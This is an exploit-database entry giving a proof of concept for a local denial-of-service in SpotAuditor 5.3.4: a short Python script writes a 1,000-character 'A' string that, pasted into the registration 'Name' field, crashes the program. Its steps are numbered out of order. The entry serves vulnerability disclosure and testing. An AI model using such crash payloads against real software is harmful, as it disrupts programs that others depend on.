SpotAuditor 5.3.4 - 'Name' Denial of Service (PoC)

# Exploit Title: SpotAuditor 5.3.4 - 'Name' Denial of Service (PoC)
# Exploit Author: 0xMoHassan
# Date: 2020-04-04
# Vendor Homepage: https://www.spotauditor.com/
# Software Link: http://www.nsauditor.com/downloads/spotauditor_setup.exe
# Tested Version: 5.3.4
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows XP - SP3

# About App

# SpotAuditor is an advanced password recovery solution. The software recovers over 40 popular programs passwords, 
# including passwords saved Google Chrome, Internet Explorer, Firefox and Opera browsers, Microsoft Office Outlook 
# smtp and pop passwords, Hotmail password, Facebook password, Gmail password, Yahoo password, Aol password, 20 
# top FTP program passwords, recovers saved passwords hidden behind of asterisks on dialogs and web forms.

# PoC
# 1.Run the python script, it will create a new file "POC.txt"
# 3.Run SpotAuditor  and click on "Register -> Enter Registration Code"
# 2.Paste the content of POC.txt into the Field: 'Name'
# 6.click 'ok'
# 5.Magic happen :)


#!/usr/bin/env python
buff = "\x41" *500
buff += "\x41" * 500

try:
    f=open("POC.txt","w")
    print "[+] Creating %s bytes payload.." %len(buff)
    f.write(buff)
    f.close()
    print "[+] POC created!"
except:
    print "POC cannot be created"